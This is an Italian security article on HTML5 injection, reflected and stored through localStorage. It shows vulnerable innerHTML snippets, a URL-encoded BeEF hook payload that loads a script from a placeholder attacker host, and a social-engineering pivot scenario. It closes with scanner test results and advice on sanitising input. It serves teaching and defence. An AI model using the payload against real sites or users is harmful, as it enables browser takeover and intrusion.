Mattia Reggiani è un appassionato di Offensive Security, laureato in Sicurezza Informatica presso l’Università degli Studi di Milano e certificato CEH. Interessato in ethical hacking, forensics analysis e web application security, attualmente svolge l’attività di IT Security consultant.

L’introduzione e la recente diffusione di HTML5 come nuovo linguaggio per le pagine Web, ha sollevato nuove vulnerabilità a causa d’implementazioni errate di questa tecnologia.

Nel presente articolo sarà descritta la vulnerabilità HTML5 Injection e saranno mostrati scenari reali nella quale è possibile sfruttarla come vettore d’attacco.

Introduzione

L’HyperText Markup Language 5 è la quinta versione del linguaggio di markup per lo sviluppo di pagine web, pubblicato dal W3C come Recommendation il 28 Ottobre 2014; in questa nuova versione sono state apportate delle modifiche ed integrazioni, al fine di migliorare l’interoperabilità e la separazione del contenuto dalla struttura.

Tra le novità più rilevanti introdotte, si citano:

• Semantica: <header>, <footer>, <article>, e <section>.
• Attributi per form: number, date, time, calendar, e range.
• Grafica: <svg> e <canvas>.
• Multimedia: <audio> e <video>.
• Nuove API: Geolocation, Drag and Drop, Web Storage, Application Cache, Web Workers, SSE

Sebbene questo linguaggio non sia stato dichiarato standard dal W3C, è molto diffuso nel mondo degli sviluppatori: un recente sondaggio, condotto da Evans Data, ha mostrato che, i tre quarti degli sviluppatori intervistati utilizza o prevede di utilizzare HTML5 per lo sviluppo di applicazioni.

HTML Injection

La vulnerabilità HTML Injection è una tipologia di Injection Flaw, che si verifica quando un utente è in grado di controllare il canale input di una web application ed in ragione di ciò, riesce ad iniettare del codice HTML arbitrario nella pagina web.

L’esempio seguente mostra un frammento del codice di una pagina web affetta da questa vulnerabilità: come si può notare, l’input utilizzato per generare il contenuto dinamico non è validato.

function action(){
var user = location.hash.substring(1);
var str = “Welcome “ + user + “ to our blog”
document.getElementById(“div”).innerHTML = str;

Analizzando il codice nel dettaglio, si possono rilevare le seguenti criticità:

• la variabile user non è correttamente sanitizzata;
• la stringa stampata (str) non è soggetta ad escaping dei caratteri HTML.

Un attaccante potrebbe iniettare del codice malevolo tramite l’URL
http://vulnerable.site/page.html#[evil code] e a seguito di ciò, ottenere la stringa malevola stampata all’interno della pagina web:
<div>Welcome [evil code] to our blog</div>

Questo attacco è strettamente legato al cross-site scripting (XSS), tuttavia la sottile differenza non sta nella vulnerabilità in sé, ma nella tipologia d’attacco che sfrutta la vulnerabilità: un XSS utilizza esclusivamente gli script tags Javascript, mentre l’HTML Injection sfrutta anche il codice HTML. Seppur le tecniche di HTML Injection non differiscano di molto dalle XSS più tradizionali, è interessante il fatto che la nuova tecnologia sia comunque vulnerabile a delle tipologia di attacchi conosciuti.

Nell’exploit successivo si mostra com’è possibile iniettare, ad esempio, un form per carpire le credenziali.

HTML Injection Stored

La quinta versione di HTML ha introdotto il client-side storage, includendo nuovi elementi quali: localStorage, sessionStorage e Web SQL.

Il localStorage fornisce una mappatura chiave-valore molto simile ai cookies, difatti il W3C lo consiglia come ottima alternativa ad essi, anche considerando i numerosi vantaggi tra cui la notevole capacità di memorizzazione definita a 5 Mb.

Grazie a questa funzionalità l’HTML Injection ha la potenzialità di essere persistente (stored), poiché se un attaccante fosse in grado di portare a termine l’attacco il payload verrebbe immagazzinato nel client storage ed eseguito, senza essere re-iniettato, tutte le volte in cui la pagina web viene caricata.

L’esempio seguente mostra un frammento di codice vulnerabile, che permette di salvare un valore nella variabile locale e successivamente di leggere tale contenuto senza che venga effettuata un’opportuna sanitizzazione.

Function action(){
Var resource = location.hash.substring(1);
If(localStorage.getItem(“user”) == null){
localStorage.setItem(“user”,resource);
}
Item = localStorage.getItem(“user”);
Document.getElementById(“div”).innerHTML = item;
}

Esempio di scenario d’attacco

Si riporta brevemente, a titolo esemplificativo, un tipico scenario d’attacco nel quale è possibile sfruttare questa vulnerabilità. Capita spesso nel mondo reale nell’ambito delle reti aziendale, che i manager IT si concentrino solamente sulle vulnerabilità note (magari dopo aver semplicemente eseguito un vulnerability scanner) oppure applichino le patch esclusivamente a quelle vulnerabilità catalogate come “High”, tralasciando le vulnerabilità di secondo livello. In questo scenario si possono incontrare reti aziendali correttamente segmentate con firewall e senza vulnerabilità note, all’interno delle quali si trova un blog poco curato dal punto di vista della sicurezza.

Nel caso in cui il blog aziendale fosse vulnerabile all’HTML Injection, si potrebbe utilizzare il framework BeEF (http://beefproject.com) per sfruttare tale debolezza ed entrare nella rete interna.

Il payload di BeEF, che potrebbe essere inviato ad un dipendente tramite un attacco basato di social engineering, è di tipo bookmarket link in maniera tale da far eseguire lo script Javascript all’istante:

http://www.vulnerable.com/index.html#Alice%3Ciframe%20width=%220%22%20height=%220%22%20frameBorder=%220%22%20src=%22javascript:%20%28function%20%28%29%20{%20var%20url%20=%20%27http:%2f%2f[$HOST_ATTACKER]:[$PORT]%2fhook.js%27;if%20%28typeof%20beef%20==%20%27undefined%27%29%20{%20var%20bf%20=%20document.createElement%28%27script%27%29;%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;
%20document.body.appendChild%28bf%29;}}%29%28%29;%22%3E%3C/iframe%3E

Una volta che il dipendente clicca su tale link, il payload di BeEF esegue una reverse connection alla console dell’attaccante tramite il browser della vittima, al fine di ottenere il controllo completo dello stesso e poter sferrare altri tipi d’attacco (Privilege Escalation, Pivoting, etc.).

Ad esempio, sempre grazie a BeEF, è possibile verificare la presenza di plugin non aggiornati attivi sul browser (Flash Player, Java, Acrobat Reader ecc) e in combinazione con Metasploit “forzare” l’esecuzione dell’exploit grazie alla funzione: Create Invisible Iframe; una volta compromesso il sistema dell’utente (abbiamo quindi superato le difese perimetrali) l’attacco potrebbe evolversi cercando di ottenere privilegi in rete grazie al domain controller.

Conclusione

A scopo didattico, è stata creata una web application vulnerabile all’ HTML Injection (reflected e stored) e successivamente sono stati eseguiti alcuni tra i web application vulnerability scanner più popolari in ambito commerciale e open-source: Acunetix, Arachni, Burp Suite pro, Netsparker, Nikto, N-Stalker, Skipfish, Vega, Wapiti e ZAP.

L’esito di tale scansione è stato notevole: solamente 1/10 è riuscito ad individuare la vulnerabilità.

Considerando tali risultati, è consigliabile integrare anche le verifiche manuali nelle proprie metodologie di testing, concentrandosi in particolare su quelle funzioni che creano o modificano il codice HTML, e che quindi possono portare a questo tipo di vulnerabilità: adjacentHTML, innerHTML, outerHTML e document.write.

In conclusione, si dovrebbe prestare molta attenzione a queste funzioni sin dalla fase di sviluppo, applicando l’opportuna validazione e sanitizzazione dei canali d’input/output.

Per chiunque volesse provare le tecniche descritte sopra rilasciamo un piccolo sample di codice per poterle sperimentare in totale sicurezza: HTML5_Injection_Source

di Mattia Reggiani & VoidSec